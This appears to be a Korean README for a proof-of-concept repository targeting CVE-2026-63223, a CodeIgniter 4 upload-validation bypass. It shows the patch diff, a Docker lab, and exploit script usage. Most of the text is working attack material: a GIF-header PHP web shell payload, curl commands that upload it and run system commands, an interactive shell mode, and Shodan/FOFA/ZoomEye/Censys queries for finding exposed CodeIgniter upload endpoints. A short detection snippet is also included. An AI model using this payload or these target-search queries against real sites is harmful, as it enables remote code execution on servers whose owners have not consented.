// 수정 전 (취약) — MIME이 "image/"로 시작하는지만 검사
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
return true;

// 수정 후 (패치됨) — 확장자가 이미지 유형인지도 검사
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
if ($this->hasInvalidImageClientExtension($file)) {  // ← 신규
    return false;
}
return true;

// 수정 전 (취약) — MIME이 허용 목록에 있는지만 검사
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
return true;

// 수정 후 (패치됨) — 확장자가 감지된 콘텐츠와 일치하는지도 검사
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
if ($this->hasMismatchedClientExtension($file)) {    // ← 신규
    return false;
}
return true;

// 비어 있지 않은 클라이언트 확장자가 이미지 유형이 아닌 경우 거부
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    return mb_strpos($type, 'image') !== 0;
}

// 클라이언트 확장자가 감지된 콘텐츠 유형과 일치하지 않는 경우 거부
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    return $file->guessExtension() !== $clientExtension;
}

CVE-2026-63223-POC/
├── README.md                    ← 이 파일
├── Dockerfile                   ← 취약한 랩 설정
├── docker-compose.yml           ← 간편한 `docker compose up`
├── exploit/
│   └── exploit.py               ← Python 익스플로잇 스크립트
└── vulnerable-app/
    ├── app/Controllers/Upload.php    ← 취약한 컨트롤러
    ├── app/Config/Routes.php         ← 라우팅
    └── app/Views/
        ├── upload_form_avatar.php    ← is_image 우회 폼
        ├── upload_form_doc.php       ← mime_in 우회 폼
        └── upload_form_safe.php      ← 안전(SAFE) 참조 폼

# 취약한 앱 빌드 및 시작
docker compose up -d

# 실행 중인지 확인
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"

# 브라우저에서 열기
open http://localhost:8080/upload/avatar

# 의존성 설치
pip install requests

# 단일 명령 실행
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"

# 대화형 셸
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell

# mime_in 벡터 사용 (허용 목록에 PDF가 있지만 PHP도 여전히 통과)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"

# 페이로드 생성
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# file(1)에서 이미지로 인식되는지 확인
file evil.php
# → evil.php: GIF image data

# 취약한 is_image 엔드포인트에 업로드
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar

# 실행
curl http://localhost:8080/uploads/evil.php?c=id

# JPEG 변형 (is_image도 통과)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method jpg --filename wp-admin.php --cmd "ls -la /"

# PNG 변형 (is_image도 통과, .phtml 확장자)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method png --filename config.phtml --shell

Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif

GIF89a
<?php system($_REQUEST['c']); ?>

# 이미지 헤더로 시작하는 PHP 파일 찾기
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'

# 또는 원시 바이트 확인
xxd uploads/*.php | head

# CodeIgniter 4 기본 환영 페이지
http.title:"Welcome to CodeIgniter"

# CI4 디버그 툴바 (개발 모드에서 노출)
http.html:"debugbar_loader"

# CI4 기본 쿠키 / 세션 핑거프린트
http.component:"CodeIgniter"

# 파일 업로드 엔드포인트가 있는 CI4 기반 앱
http.title:"CodeIgniter" http.html:"upload"

# 광범위 검색 — 모든 CI4 인스턴스
"CodeIgniter" "X-Powered-By: PHP"

# 기본 CodeIgniter 4 스캐폴드
body="CodeIgniter" && body="Welcome to"

# CI4 디버그 툴바 노출 (개발 모드 = 취약할 가능성 더 높음)
body="debugbar_loader" && body="kint-rich"

# CI4의 파일 업로드 폼
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"

# Set-Cookie의 CI4 세션 핑거프린트
header="ci_session"

# 광범위 CI4 탐지
app="CodeIgniter Framework"

# ZoomEye
app:"CodeIgniter" +"file upload"

# Censys
services.http.response.body:"Welcome to CodeIgniter"